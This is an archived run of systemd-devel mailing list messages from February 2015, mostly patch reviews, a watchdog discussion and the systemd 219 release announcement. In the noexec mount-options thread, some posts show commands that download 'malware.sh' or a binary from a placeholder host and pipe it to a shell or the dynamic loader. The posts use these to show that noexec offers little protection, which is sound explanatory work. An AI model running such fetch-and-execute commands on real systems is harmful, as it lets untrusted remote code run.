Re: [systemd-devel] [PATCH] build-sys: Lookup for the location of agetty
On Mon, 16.02.15 17:39, Jóhann B. Guðmundsson (johan...@gmail.com) wrote: On 02/16/2015 03:42 PM, Cristian Rodríguez wrote: May be in /sbin or /usr/sbin You might want to resubmit this to including the 57600 baud rate request from Jeff in the process ( 115200,57600,38400,9600 ) ;) Hmm, Details? Lennart -- Lennart Poettering, Red Hat ___ systemd-devel mailing list systemd-devel@lists.freedesktop.org http://lists.freedesktop.org/mailman/listinfo/systemd-devel
Re: [systemd-devel] [PATCH] build-sys: Lookup for the location of agetty
On 02/16/2015 05:40 PM, Lennart Poettering wrote: On Mon, 16.02.15 17:39, Jóhann B. Guðmundsson (johan...@gmail.com) wrote: On 02/16/2015 03:42 PM, Cristian Rodríguez wrote: May be in /sbin or /usr/sbin You might want to resubmit this to including the 57600 baud rate request from Jeff in the process ( 115200,57600,38400,9600 ) ;) Hmm, Details 57600 Baud Rate is commonly used ( and recommended from vendors even used as failsafe baud rate ) so it should have been including in the list from the get go Did you just forget to include back in the day it or did deliberately leave it out? JBG ___ systemd-devel mailing list systemd-devel@lists.freedesktop.org http://lists.freedesktop.org/mailman/listinfo/systemd-devel
Re: [systemd-devel] [PATCH] build-sys: Lookup for the location of agetty
El 16/02/15 a las 14:46, Jóhann B. Guðmundsson escribió: On 02/16/2015 05:40 PM, Lennart Poettering wrote: On Mon, 16.02.15 17:39, Jóhann B. Guðmundsson (johan...@gmail.com) wrote: On 02/16/2015 03:42 PM, Cristian Rodríguez wrote: May be in /sbin or /usr/sbin You might want to resubmit this to including the 57600 baud rate request from Jeff in the process ( 115200,57600,38400,9600 ) ;) Hmm, Details 57600 Baud Rate is commonly used ( and recommended from vendors even used as failsafe baud rate ) so it should have been including in the list from the get go Did you just forget to include back in the day it or did deliberately leave it out? I deliberately left it out since the baud rate thing is a different problem. ___ systemd-devel mailing list systemd-devel@lists.freedesktop.org http://lists.freedesktop.org/mailman/listinfo/systemd-devel
Re: [systemd-devel] [PATCH 5/5] sd-bus: add missing format attribute
On Mon, 16.02.15 01:09, Cristian Rodríguez (crrodrig...@opensuse.org) wrote: --- src/systemd/sd-bus.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/systemd/sd-bus.h b/src/systemd/sd-bus.h index 2420d0c..ca2d83e 100644 --- a/src/systemd/sd-bus.h +++ b/src/systemd/sd-bus.h @@ -371,7 +371,7 @@ int sd_bus_error_setf(sd_bus_error *e, const char *name, const char *format, ... int sd_bus_error_set_const(sd_bus_error *e, const char *name, const char *message); int sd_bus_error_set_errno(sd_bus_error *e, int error); int sd_bus_error_set_errnof(sd_bus_error *e, int error, const char *format, ...) _sd_printf_(3, 4); -int sd_bus_error_set_errnofv(sd_bus_error *e, int error, const char *format, va_list ap); +int sd_bus_error_set_errnofv(sd_bus_error *e, int error, const char *format, va_list ap) _sd_printf_(3,0); int sd_bus_error_get_errno(const sd_bus_error *e); int sd_bus_error_copy(sd_bus_error *dest, const sd_bus_error *e); int sd_bus_error_is_set(const sd_bus_error *e); Applied! Thanks! Lennart -- Lennart Poettering, Red Hat ___ systemd-devel mailing list systemd-devel@lists.freedesktop.org http://lists.freedesktop.org/mailman/listinfo/systemd-devel
Re: [systemd-devel] [PATCH] build-sys: Lookup for the location of agetty
On 02/16/2015 03:42 PM, Cristian Rodríguez wrote: May be in /sbin or /usr/sbin You might want to resubmit this to including the 57600 baud rate request from Jeff in the process ( 115200,57600,38400,9600 ) ;) JBG ___ systemd-devel mailing list systemd-devel@lists.freedesktop.org http://lists.freedesktop.org/mailman/listinfo/systemd-devel
Re: [systemd-devel] [PATCH 1/3] Add helper for fnmatch over strv
On Mon, Feb 16, 2015 at 3:51 PM, Zbigniew Jędrzejewski-Szmek
zbys...@in.waw.pl wrote:
On Mon, Feb 16, 2015 at 03:20:21PM +0100, Tom Gundersen wrote:
On Mon, Feb 16, 2015 at 2:54 PM, Zbigniew Jędrzejewski-Szmek
zbys...@in.waw.pl wrote:
On Mon, Feb 16, 2015 at 02:12:38PM +0100, Lennart Poettering wrote:
On Sat, 14.02.15 00:53, Zbigniew Jędrzejewski-Szmek (zbys...@in.waw.pl)
wrote:
No functional change intended.
I like this simplification!
if (match_host !condition_test(match_host))
return false;
@@ -117,49 +112,17 @@ bool net_match_config(const struct ether_addr
*match_mac,
if (match_mac (!dev_mac || memcmp(match_mac, dev_mac,
ETH_ALEN)))
return false;
-if (!strv_isempty(match_paths)) {
-if (!dev_path)
-return false;
+if (!strv_isempty(match_paths))
+return strv_fnmatch(dev_path, match_paths, 0);
Can't this be shortened further by combining the stv_isempty() with
the strv_fnmatch?
This code is changed in 2/3. I believe it is broken in the original
version (and after the change above, which does not change functionality).
+bool strv_fnmatch(const char *s, char* const* patterns, int flags);
+
+static inline bool strv_fnmatch_or_empty(const char *s, char* const*
patterns, int flags) {
+assert(s);
+return strv_isempty(patterns) ||
+ strv_fnmatch(s, patterns, flags);
+}
Wouldn't the order of arguments be more natural if we specified the
strv (haystack) first, and the string (needle) second? After all,
it's kinda an OO interface, where the first object should come first?
Yeah, like strv_find and friends. I'll do that.
Anyway, this all looks like a great simplification. If this doesn't
change behaviour I love the idea, please apply!
I'll wait for some feedback on 2/3 from Tom.
Hm, I haven't received these patches (yet?), care to point me at a
public branch instead?
http://lists.freedesktop.org/archives/systemd-devel/2015-February/028350.html
Thanks Zbigniew,
So this looks really nice. Looking through it I see a bug in the
logic, but that was not your fault, so I can just fix that on top.
Please push.
FTR, instead of
return strv_fnmatch(dev_name, match_names, 0);
we should have
if (!strv_fnmatch(dev_name, match_names, 0))
return false;
So that we only return true at the very end once all the conditions
have been checked.
Cheers,
Tom
___
systemd-devel mailing list
systemd-devel@lists.freedesktop.org
http://lists.freedesktop.org/mailman/listinfo/systemd-devel
Re: [systemd-devel] [PATCH] timesync: Use UINT64_C for OFFSET_1900_1970
Hi On Mon, Feb 16, 2015 at 5:24 PM, Cristian Rodríguez crrodrig...@opensuse.org wrote: So it matches what the comment says in both 32 and 64 bit systems. --- src/timesync/timesyncd-manager.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/timesync/timesyncd-manager.c b/src/timesync/timesyncd-manager.c index 223671c..73ac7ee 100644 --- a/src/timesync/timesyncd-manager.c +++ b/src/timesync/timesyncd-manager.c @@ -98,7 +98,7 @@ * NTP timestamps are represented as a 64-bit unsigned fixed-point number, * in seconds relative to 0h on 1 January 1900. */ -#define OFFSET_1900_19702208988800UL +#define OFFSET_1900_1970UINT64_C(2208988800) UINT64_C? Ugh... inttypes.h madness. ULL would do the same job, right? I now applied this patch as it fixed issues where we compute time-offsets with neither operand being 64bit. Not sure any of those was a real bug, though. Thanks David #define RETRY_USEC (30*USEC_PER_SEC) #define RATELIMIT_INTERVAL_USEC (10*USEC_PER_SEC) -- 2.2.2 ___ systemd-devel mailing list systemd-devel@lists.freedesktop.org http://lists.freedesktop.org/mailman/listinfo/systemd-devel ___ systemd-devel mailing list systemd-devel@lists.freedesktop.org http://lists.freedesktop.org/mailman/listinfo/systemd-devel
Re: [systemd-devel] [PATCH 1/3] Add helper for fnmatch over strv
Perfect! Thanks! ___ systemd-devel mailing list systemd-devel@lists.freedesktop.org http://lists.freedesktop.org/mailman/listinfo/systemd-devel
Re: [systemd-devel] [PATCH 1/3] Add helper for fnmatch over strv
On Mon, Feb 16, 2015 at 06:47:32PM +0100, Tom Gundersen wrote:
On Mon, Feb 16, 2015 at 3:51 PM, Zbigniew Jędrzejewski-Szmek
zbys...@in.waw.pl wrote:
On Mon, Feb 16, 2015 at 03:20:21PM +0100, Tom Gundersen wrote:
On Mon, Feb 16, 2015 at 2:54 PM, Zbigniew Jędrzejewski-Szmek
zbys...@in.waw.pl wrote:
On Mon, Feb 16, 2015 at 02:12:38PM +0100, Lennart Poettering wrote:
On Sat, 14.02.15 00:53, Zbigniew Jędrzejewski-Szmek (zbys...@in.waw.pl)
wrote:
No functional change intended.
I like this simplification!
if (match_host !condition_test(match_host))
return false;
@@ -117,49 +112,17 @@ bool net_match_config(const struct ether_addr
*match_mac,
if (match_mac (!dev_mac || memcmp(match_mac, dev_mac,
ETH_ALEN)))
return false;
-if (!strv_isempty(match_paths)) {
-if (!dev_path)
-return false;
+if (!strv_isempty(match_paths))
+return strv_fnmatch(dev_path, match_paths, 0);
Can't this be shortened further by combining the stv_isempty() with
the strv_fnmatch?
This code is changed in 2/3. I believe it is broken in the original
version (and after the change above, which does not change
functionality).
+bool strv_fnmatch(const char *s, char* const* patterns, int flags);
+
+static inline bool strv_fnmatch_or_empty(const char *s, char* const*
patterns, int flags) {
+assert(s);
+return strv_isempty(patterns) ||
+ strv_fnmatch(s, patterns, flags);
+}
Wouldn't the order of arguments be more natural if we specified the
strv (haystack) first, and the string (needle) second? After all,
it's kinda an OO interface, where the first object should come first?
Yeah, like strv_find and friends. I'll do that.
Anyway, this all looks like a great simplification. If this doesn't
change behaviour I love the idea, please apply!
I'll wait for some feedback on 2/3 from Tom.
Hm, I haven't received these patches (yet?), care to point me at a
public branch instead?
http://lists.freedesktop.org/archives/systemd-devel/2015-February/028350.html
Thanks Zbigniew,
So this looks really nice. Looking through it I see a bug in the
logic, but that was not your fault, so I can just fix that on top.
Please push.
FTR, instead of
return strv_fnmatch(dev_name, match_names, 0);
we should have
if (!strv_fnmatch(dev_name, match_names, 0))
return false;
That is (almost) what patch 2/3 does, please have a look at ee5de57b9d.
Zbyszek
___
systemd-devel mailing list
systemd-devel@lists.freedesktop.org
http://lists.freedesktop.org/mailman/listinfo/systemd-devel
Re: [systemd-devel] [PATCH 1/3] Add helper for fnmatch over strv
On Mon, 16.02.15 19:38, Tom Gundersen (t...@jklm.no) wrote: Perfect! Thanks! No, not perfect at all: $ ./test-network Assertion 's' failed at ./src/shared/strv.h:152, function strv_fnmatch_or_empty(). Aborting. Aborted (core dumped) Lennart -- Lennart Poettering, Red Hat ___ systemd-devel mailing list systemd-devel@lists.freedesktop.org http://lists.freedesktop.org/mailman/listinfo/systemd-devel
Re: [systemd-devel] Mount options of /var/run/users/pid
On 16/02/15 18:14, Павел Самсонов wrote: If I have multiuser Linux installation with shell and DE access, my users have not places in system, where they able download something from internet and execute: ... /home rw,noexec noexec is not sufficient to do what you have said. For instance, your users could do any of these: wget http://example.com/malware.sh /bin/sh malware.sh wget -O - http://example.com/malware.sh | /bin/sh wget http://example.com/malware.x86.bin /lib/ld-linux.so.2 malware.x86.bin (Or replace /bin/sh with Python, Perl etc., or the x86 executable with any architecture your machine can run.) Users who can execute arbitrary code with their own privileges, and obtain arbitrary files from the Internet, can execute arbitrary code from the Internet with their own privileges. You are unlikely to be able to avoid this without LSMs. If you use an LSM (AppArmor, SELinux, etc.) and confine your users, you might be able to achieve what you think you have already achieved. -- Simon McVittie Collabora Ltd. http://www.collabora.com/ ___ systemd-devel mailing list systemd-devel@lists.freedesktop.org http://lists.freedesktop.org/mailman/listinfo/systemd-devel
Re: [systemd-devel] Mount options of /var/run/users/pid
Am 16.02.2015 um 21:02 schrieb Mantas Mikulėnas: On Mon, Feb 16, 2015 at 9:40 PM, Reindl Harald wrote: Am 16.02.2015 um 20:31 schrieb Mantas Mikulėnas: On Mon, Feb 16, 2015 at 9:16 PM, Simon McVittie wrote: wget http://example.com/malware.x86.bin http://example.com/malware.__x86.bin http://example.com/malware.__x86.bin http://example.com/malware.x86.bin /lib/ld-linux.so.2 malware.x86.bin Pretty sure this no longer works; these days noexec prevents mmap(PROT_EXEC) as well you should not assume when you can try it simple [...] [root@arrakis:~]$ bash /Volumes/dune/test.sh config-3.18.7-100.fc20.x86_64 grub2 initramfs-3.18.7-100.fc20.x86___64.img initrd-plymouth.img lost+found System.map-3.18.7-100.fc20.__x86_64 vmlinuz-3.18.7-100.fc20.x86_64 And you should not reply before you read the actual post, in which I specifically reply to a comment about ld-linux.so – not script interpreters, which don't rely on this function the context was about can you prevent a user from execute something with noexec and fact is you can't - period likely you missed the wget -O - http://example.com/malware.sh | /bin/sh in the post explaining it it's the part you stripped from your quote (maybe not post HTML would have kept it readbale) signature.asc Description: OpenPGP digital signature ___ systemd-devel mailing list systemd-devel@lists.freedesktop.org http://lists.freedesktop.org/mailman/listinfo/systemd-devel
Re: [systemd-devel] sysv-generator: doesn't handle /etc/insserv/overrides or /etc/chkconfig.d
2015-02-16 15:55 GMT+01:00 Dimitri John Ledkov dimitri.j.led...@intel.com: If you have a strong desire for such a feature, and I presume in current stable distributions, rather than future stables. It is best to factor it out into a stand-alone, portable across older systemd releases, generator, and ship it as stand-alone utility / project that people can install as an addon to regain compat for that functionality. I don't think this is really feasible atm. See my earlier comment. Atm, you can't override orderings/dependencies via drop-ins. So such a generator would have to recreate the unit files altogether, replicating what the sysv-generator does. I agree with Lennart, that adding support to systemd to allow such overrides via drop-ins/unwants/ or whatever they are called, is certainly the nicer solution. That said, as one of the Debian systemd maintainers, I could probably be convinced to add the insserv override support as a downstream patch for jessie. We are pretty late into the freeze though, so this would require an ack from our release managers. Going forward, I'd like to drop support for insserv compat in jessie+1 as soon as possible. That includes the insserv-generator, which parses /etc/insserv.conf(.d) -- Why is it that all of the instruments seeking intelligent life in the universe are pointed away from Earth? ___ systemd-devel mailing list systemd-devel@lists.freedesktop.org http://lists.freedesktop.org/mailman/listinfo/systemd-devel
Re: [systemd-devel] Mount options of /var/run/users/pid
Am 16.02.2015 um 20:31 schrieb Mantas Mikulėnas: On Mon, Feb 16, 2015 at 9:16 PM, Simon McVittie simon.mcvit...@collabora.co.uk mailto:simon.mcvit...@collabora.co.uk wrote: wget http://example.com/malware.__x86.bin http://example.com/malware.x86.bin /lib/ld-linux.so.2 malware.x86.bin Pretty sure this no longer works; these days noexec prevents mmap(PROT_EXEC) as well you should not assume when you can try it simple frankly we mount most data-partitions noexec even if they contain cronjobs which get the full interpreter and the script path by intention [root@arrakis:~]$ mount | grep dune /dev/sdf1 on /Volumes/dune type ext4 (rw,noexec,noatime,nodiratime,commit=30,inode_readahead_blks=16) [root@arrakis:~]$ touch /Volumes/dune/test.sh [root@arrakis:~]$ echo ls /boot/ /Volumes/dune/test.sh [root@arrakis:~]$ bash /Volumes/dune/test.sh config-3.18.7-100.fc20.x86_64 grub2 initramfs-3.18.7-100.fc20.x86_64.img initrd-plymouth.img lost+found System.map-3.18.7-100.fc20.x86_64 vmlinuz-3.18.7-100.fc20.x86_64 signature.asc Description: OpenPGP digital signature ___ systemd-devel mailing list systemd-devel@lists.freedesktop.org http://lists.freedesktop.org/mailman/listinfo/systemd-devel
Re: [systemd-devel] Complex supervision structures/delegating watchdog?
On Mon, Feb 16, 2015 at 11:21:53AM +0100, Lennart Poettering wrote:
Is your pppd daemon itself also a systemd service?
What precisely does monitor consist of for this case?
Yes, the pppd is invoked by systemd as a service. What I am
doing right now is:
link.service:
ExecStart=pppd call uplink ... nodetach
/etc/ppp/ip-up.d/NN-linkmon:
linkmon -i $PPP_IFACE -d 8.8.8.8 -p `cat /run/${PPP_IFACE}.pid`
The monitoring right now involves simple ICMP request and
depending on the outcome I change the metric of one of the
default routes. So in case some amount of packet loss is
reached the linkmon will SIGKILL the pid provided.
We have watchdog support already, with sd_notify(0, WATCHDOG=1), and
WatchdogSec=. But that requires you to run your pppd as a service of
its own, to be useful.
I thought the sd_notify is only possible by the main
application that got started? E.g. in the above case the
linkmon would be a child of pppd. My application wouldn't
run until pppd has setup the link. This means I would need
to configure a high enough timeout to cope with a potential
bigger set-up time.
One nice thing for an external watchdog started by the
NN-linkmon script would be that it would be under pid1
control (e.g. if it is crashing, the other service would
be taken down by systemd), I could have different privileges
for the monitoring system (currently at least one part of
it must be able to send a kill to a parent process).
Another neat feature would be if applications could
communicate some extra (custom) status to systemd. E.g.
in the case of pppd to indicate the state of the link-setup,
for something like our BTS process to indicate if it is
currently broadcasting or muted.
Thanks for listening
holger
___
systemd-devel mailing list
systemd-devel@lists.freedesktop.org
http://lists.freedesktop.org/mailman/listinfo/systemd-devel
[systemd-devel] [PATCH] timedated: when performing SetTime compensate for program lag
The start time could be moved back a little bit by using kdbus timestamps,
but I'm guessing that that amount of time is insignificant.
---
TODO | 2 --
src/timedate/timedated.c | 7 +++
2 files changed, 7 insertions(+), 2 deletions(-)
diff --git a/TODO b/TODO
index 93dfa60..88055d3 100644
--- a/TODO
+++ b/TODO
@@ -190,8 +190,6 @@ Features:
* we should try harder to collapse start jobs for swaps that end up being the
same:
http://lists.freedesktop.org/archives/systemd-devel/2014-November/025359.html
-* timedated should compensate on SetTime for the time spent in polkit
-
* figure out when we can use the coarse timers
* sd-resolve: drop res_query wrapping, people should call via the bus to
resolved instead
diff --git a/src/timedate/timedated.c b/src/timedate/timedated.c
index 753c3d1..603e155 100644
--- a/src/timedate/timedated.c
+++ b/src/timedate/timedated.c
@@ -529,6 +529,7 @@ static int method_set_time(sd_bus *bus, sd_bus_message *m,
void *userdata, sd_bu
Context *c = userdata;
int64_t utc;
struct timespec ts;
+usec_t start, ready;
struct tm* tm;
int r;
@@ -536,6 +537,8 @@ static int method_set_time(sd_bus *bus, sd_bus_message *m,
void *userdata, sd_bu
assert(m);
assert(c);
+start = now(CLOCK_MONOTONIC);
+
if (c-use_ntp)
return sd_bus_error_setf(error,
BUS_ERROR_AUTOMATIC_TIME_SYNC_ENABLED, Automatic time synchronization is
enabled);
@@ -569,6 +572,10 @@ static int method_set_time(sd_bus *bus, sd_bus_message *m,
void *userdata, sd_bu
if (r == 0)
return 1;
+/* adjust ts for time spent in polkit */
+ready = now(CLOCK_MONOTONIC);
+timespec_store(ts, timespec_load(ts) + (ready - start));
+
/* Set system clock */
if (clock_settime(CLOCK_REALTIME, ts) 0) {
log_error_errno(errno, Failed to set local time: %m);
--
2.2.1.209.g41e5f3a
___
systemd-devel mailing list
systemd-devel@lists.freedesktop.org
http://lists.freedesktop.org/mailman/listinfo/systemd-devel
[systemd-devel] [PATCH] timedated: when performing SetTime compensate for program lag
I can't test this as kdbus doesn't build against Linux 3.19
---
TODO | 2 --
src/timedate/timedated.c | 14 ++
2 files changed, 14 insertions(+), 2 deletions(-)
diff --git a/TODO b/TODO
index 93dfa60..88055d3 100644
--- a/TODO
+++ b/TODO
@@ -190,8 +190,6 @@ Features:
* we should try harder to collapse start jobs for swaps that end up being the
same:
http://lists.freedesktop.org/archives/systemd-devel/2014-November/025359.html
-* timedated should compensate on SetTime for the time spent in polkit
-
* figure out when we can use the coarse timers
* sd-resolve: drop res_query wrapping, people should call via the bus to
resolved instead
diff --git a/src/timedate/timedated.c b/src/timedate/timedated.c
index 753c3d1..1287038 100644
--- a/src/timedate/timedated.c
+++ b/src/timedate/timedated.c
@@ -529,6 +529,7 @@ static int method_set_time(sd_bus *bus, sd_bus_message *m,
void *userdata, sd_bu
Context *c = userdata;
int64_t utc;
struct timespec ts;
+usec_t start, ready;
struct tm* tm;
int r;
@@ -569,6 +570,17 @@ static int method_set_time(sd_bus *bus, sd_bus_message *m,
void *userdata, sd_bu
if (r == 0)
return 1;
+/* adjust ts for time spent in program */
+r = sd_bus_message_get_monotonic_usec(m, start);
+if (r == -ENODATA)
+continue;
+else if (r 0)
+return r;
+else {
+ready = now(CLOCK_MONOTONIC);
+timespec_store(ts, timespec_load(ts) + (ready - start));
+}
+
/* Set system clock */
if (clock_settime(CLOCK_REALTIME, ts) 0) {
log_error_errno(errno, Failed to set local time: %m);
@@ -702,6 +714,8 @@ int main(int argc, char *argv[]) {
if (r 0)
goto finish;
+(void)sd_bus_negotiate_timestamp(bus, true);
+
r = context_read_data(context);
if (r 0) {
log_error_errno(r, Failed to read time zone data: %m);
--
2.2.1.209.g41e5f3a
___
systemd-devel mailing list
systemd-devel@lists.freedesktop.org
http://lists.freedesktop.org/mailman/listinfo/systemd-devel
Re: [systemd-devel] Mount options of /var/run/users/pid
If I have multiuser Linux installation with shell and DE access, my users have not places in system, where they able download something from internet and execute: / ro,exec /home rw,noexec /var rw,noexec All tmpfs noexec In Debian wheezy this done and work. In Debian jessie I have places (/run/users/*), where users may execute dowloaded executables. What I must do with this? Sorry my english. 16.02.2015 14:10 пользователь Lennart Poettering lenn...@poettering.net написал: B1;3802;0cOn Sun, 15.02.15 16:31, Павел Самсонов (pvsamsono...@gmail.com) wrote: Good day, I see a new Debian jessie, and I mean, that /var/run/pid filesystems must be mounted with noexec options, so thay have user write access. On some installations this very important. Were I may configure this, or may be You change your default mount options? Sorry my English, best regards, Pavel, Russia. I cannot parse this. Do you mean /run/user/uid? /var/run/pid is not a separate mount, /run is, and that is not user writable. The /run/user/uid directory is mounted to implement XDG_RUNTIME_DIR. We guarantee certain functionality on it, including the ability to have executable files there, and that's specified in the XDG_RUNTIME_DIR spec. Hence, the only way to change it is by patching logind, and we will not add a configuration option for this, since it would mean XDG_RUNTIME_DIR would not provide what it's supposed to provide anymore. Note though that /run/user/uid is mounted as per-user tmpfs instance, with nosuid and nodev, and a size limit applied. It should hence be a pretty safe thing. Also note that noexec doesn't really do what people think it does. Lennart -- Lennart Poettering, Red Hat ___ systemd-devel mailing list systemd-devel@lists.freedesktop.org http://lists.freedesktop.org/mailman/listinfo/systemd-devel
Re: [systemd-devel] Mount options of /var/run/users/pid
On Mon, Feb 16, 2015 at 9:16 PM, Simon McVittie simon.mcvit...@collabora.co.uk wrote: wget http://example.com/malware.x86.bin /lib/ld-linux.so.2 malware.x86.bin Pretty sure this no longer works; these days noexec prevents mmap(PROT_EXEC) as well. -- Mantas Mikulėnas graw...@gmail.com ___ systemd-devel mailing list systemd-devel@lists.freedesktop.org http://lists.freedesktop.org/mailman/listinfo/systemd-devel
Re: [systemd-devel] [PATCH] timedated: when performing SetTime compensate for program lag
Hi
On Mon, Feb 16, 2015 at 8:47 PM, Shawn Landden sh...@churchofgit.com wrote:
I can't test this as kdbus doesn't build against Linux 3.19
Ugh? kdbus should build fine against 3.19. We pushed the required
fixes last week as 3.19 was released.
Btw., I now got this patch twice with different content, but same
subject. I guess this patch I'm replying to is the wrong one, right?
Maybe add a v2 in the subject next time, given that the fdo
mail-delivery dates are pretty random right now ;)
Thanks
David
---
TODO | 2 --
src/timedate/timedated.c | 14 ++
2 files changed, 14 insertions(+), 2 deletions(-)
diff --git a/TODO b/TODO
index 93dfa60..88055d3 100644
--- a/TODO
+++ b/TODO
@@ -190,8 +190,6 @@ Features:
* we should try harder to collapse start jobs for swaps that end up being
the same:
http://lists.freedesktop.org/archives/systemd-devel/2014-November/025359.html
-* timedated should compensate on SetTime for the time spent in polkit
-
* figure out when we can use the coarse timers
* sd-resolve: drop res_query wrapping, people should call via the bus to
resolved instead
diff --git a/src/timedate/timedated.c b/src/timedate/timedated.c
index 753c3d1..1287038 100644
--- a/src/timedate/timedated.c
+++ b/src/timedate/timedated.c
@@ -529,6 +529,7 @@ static int method_set_time(sd_bus *bus, sd_bus_message
*m, void *userdata, sd_bu
Context *c = userdata;
int64_t utc;
struct timespec ts;
+usec_t start, ready;
struct tm* tm;
int r;
@@ -569,6 +570,17 @@ static int method_set_time(sd_bus *bus, sd_bus_message
*m, void *userdata, sd_bu
if (r == 0)
return 1;
+/* adjust ts for time spent in program */
+r = sd_bus_message_get_monotonic_usec(m, start);
+if (r == -ENODATA)
+continue;
+else if (r 0)
+return r;
+else {
+ready = now(CLOCK_MONOTONIC);
+timespec_store(ts, timespec_load(ts) + (ready - start));
+}
+
/* Set system clock */
if (clock_settime(CLOCK_REALTIME, ts) 0) {
log_error_errno(errno, Failed to set local time: %m);
@@ -702,6 +714,8 @@ int main(int argc, char *argv[]) {
if (r 0)
goto finish;
+(void)sd_bus_negotiate_timestamp(bus, true);
+
r = context_read_data(context);
if (r 0) {
log_error_errno(r, Failed to read time zone data: %m);
--
2.2.1.209.g41e5f3a
___
systemd-devel mailing list
systemd-devel@lists.freedesktop.org
http://lists.freedesktop.org/mailman/listinfo/systemd-devel
___
systemd-devel mailing list
systemd-devel@lists.freedesktop.org
http://lists.freedesktop.org/mailman/listinfo/systemd-devel
[systemd-devel] udev: 60-persistent-storage.rules attempts blkid on removable devices with no medium present
Hi,
I'm not sure if this is considered a problem but I noticed some spurious
error messages during boot. The source appears to be:
1. a USB media card reader is plugged in at boot
2. the device node exists regardless of whether a card is present (expected)
3. line 70 of 60-persistent-storage.rules (KERNEL!=sr*,
IMPORT{builtin}=blkid) attempts blkid on the device with no card present
4. the open() call in builtin_blkid() in udev-builtin-blkid.c fails
resulting in an error: /dev/sdd: No medium found message printed to stderr
Adding ATTR{removable}==1, ATTR{size}==0, GOTO=skip_blkid around the
rule seems to work in my case but I don't know if that is a good thing to
do in general.
For comparison, the rules that run blkid on CD drives (lines 62-67) do
check first to make sure a CD is inserted. (At least I think that's
what ENV{ID_CDROM_MEDIA_TRACK_COUNT_DATA}==?*
is doing.)
Some other discussions I came across related to the No medium found
message:
https://bbs.archlinux.org/viewtopic.php?id=190229
https://bugs.freedesktop.org/show_bug.cgi?id=86414
Thanks,
Hans
___
systemd-devel mailing list
systemd-devel@lists.freedesktop.org
http://lists.freedesktop.org/mailman/listinfo/systemd-devel
Re: [systemd-devel] Complex supervision structures/delegating watchdog?
On Mon, Feb 16, 2015 at 10:36 PM, Holger Hans Peter Freyther
hol...@freyther.de wrote:
On Mon, Feb 16, 2015 at 11:21:53AM +0100, Lennart Poettering wrote:
Is your pppd daemon itself also a systemd service?
What precisely does monitor consist of for this case?
Yes, the pppd is invoked by systemd as a service. What I am
doing right now is:
link.service:
ExecStart=pppd call uplink ... nodetach
/etc/ppp/ip-up.d/NN-linkmon:
linkmon -i $PPP_IFACE -d 8.8.8.8 -p `cat /run/${PPP_IFACE}.pid`
The monitoring right now involves simple ICMP request and
depending on the outcome I change the metric of one of the
default routes. So in case some amount of packet loss is
reached the linkmon will SIGKILL the pid provided.
We have watchdog support already, with sd_notify(0, WATCHDOG=1), and
WatchdogSec=. But that requires you to run your pppd as a service of
its own, to be useful.
I thought the sd_notify is only possible by the main
application that got started? E.g. in the above case the
linkmon would be a child of pppd. My application wouldn't
run until pppd has setup the link. This means I would need
to configure a high enough timeout to cope with a potential
bigger set-up time.
NotifyAccess=
One nice thing for an external watchdog started by the
NN-linkmon script would be that it would be under pid1
control (e.g. if it is crashing, the other service would
be taken down by systemd), I could have different privileges
for the monitoring system (currently at least one part of
it must be able to send a kill to a parent process).
You can ask systemd to stop or reload a service.
Another neat feature would be if applications could
communicate some extra (custom) status to systemd. E.g.
in the case of pppd to indicate the state of the link-setup,
for something like our BTS process to indicate if it is
currently broadcasting or muted.
sd_notify(STATUS=Reticulating splines);
sd_notify(READY=1\nSTATUS=Connected.);
--
Mantas Mikulėnas graw...@gmail.com
___
systemd-devel mailing list
systemd-devel@lists.freedesktop.org
http://lists.freedesktop.org/mailman/listinfo/systemd-devel
[systemd-devel] [PATCH] configure: turn off -Wlogical-not-parentheses
Introduced in gcc-5 These errors are really annoying. I can get behind clarification of nested ifs, but this is overkill. --- configure.ac | 1 + 1 file changed, 1 insertion(+) diff --git a/configure.ac b/configure.ac index 97a29d6..e646db7 100644 --- a/configure.ac +++ b/configure.ac @@ -187,6 +187,7 @@ CC_CHECK_FLAGS_APPEND([with_cflags], [CFLAGS], [\ -Wno-unused-parameter \ -Wno-missing-field-initializers \ -Wno-unused-result \ +-Wno-logical-not-parentheses \ -Werror=overflow \ -Wdate-time \ -Wnested-externs \ -- 2.2.1.209.g41e5f3a ___ systemd-devel mailing list systemd-devel@lists.freedesktop.org http://lists.freedesktop.org/mailman/listinfo/systemd-devel
[systemd-devel] [ANNOUNCE] systemd 219
Heya! Many many improvements, in particular in the area of containers, btrfs hookup, and networkd. Also, many bugfixes. Enjoy! http://www.freedesktop.org/software/systemd/systemd-219.tar.xz Note that this version is not available in Fedora F22/F23 yet. The linker on ARM segfaults. Since the i386 and x86_64 versions built fine, I decided to release 219 anyway. CHANGES WITH 219: * Introduce a new API sd-hwdb.h for querying the hardware metadata database. With this minimal interface one can query and enumerate the udev hwdb, decoupled from the old libudev library. libudev's interface for this is now only a wrapper around sd-hwdb. A new tool systemd-hwdb has been added to interface with and update the database. * When any of systemd's tools copies files (for example due to tmpfiles' C lines) a btrfs reflink will attempted first, before bytewise copying is done. * systemd-nspawn gained a new --ephemeral switch. When specified a btrfs snapshot is taken of the container's root directory, and immediately removed when the container terminates again. Thus, a container can be started whose changes never alter the container's root directory, and are lost on container termination. This switch can also be used for starting a container off the root file system of the host without affecting the host OS. This switch is only available on btrfs file systems. * systemd-nspawn gained a new --template= switch. It takes the path to a container tree to use as template for the tree specified via --directory=, should that directory be missing. This allows instantiating containers dynamically, on first run. This switch is only available on btrfs file systems. * When a .mount unit refers to a mount point on which multiple mounts are stacked, and the .mount unit is stopped all of the stacked mount points will now be unmounted until no mount point remains. * systemd now has an explicit notion of supported and unsupported unit types. Jobs enqueued for unsupported unit types will now fail with an unsupported error code. More specifically .swap, .automount and .device units are not supported in containers, .busname units are not supported on non-kdbus systems. .swap and .automount are also not supported if their respective kernel compile time options are disabled. * machinectl gained support for two new copy-from and copy-to commands for copying files from a running container to the host or vice versa. * machinectl gained support for a new bind command to bind mount host directories into local containers. This is currently only supported for nspawn containers. * networkd gained support for configuring bridge forwarding database entries (fdb) from .network files. * A new tiny daemon systemd-importd has been added that can download container images in tar, raw, qcow2 or dkr formats, and make them available locally in /var/lib/machines, so that they can run as nspawn containers. The daemon can GPG verify the downloads (not supported for dkr, since it has no provisions for verifying downloads). It will transparently decompress bz2, xz, gzip compressed downloads if necessary, and restore sparse files on disk. The daemon uses privilege separation to ensure the actual download logic runs with fewer privileges than the deamon itself. machinectl has gained new commands pull-tar, pull-raw and pull-dkr to make the functionality of importd available to the user. With this in place the Fedora and Ubuntu Cloud images 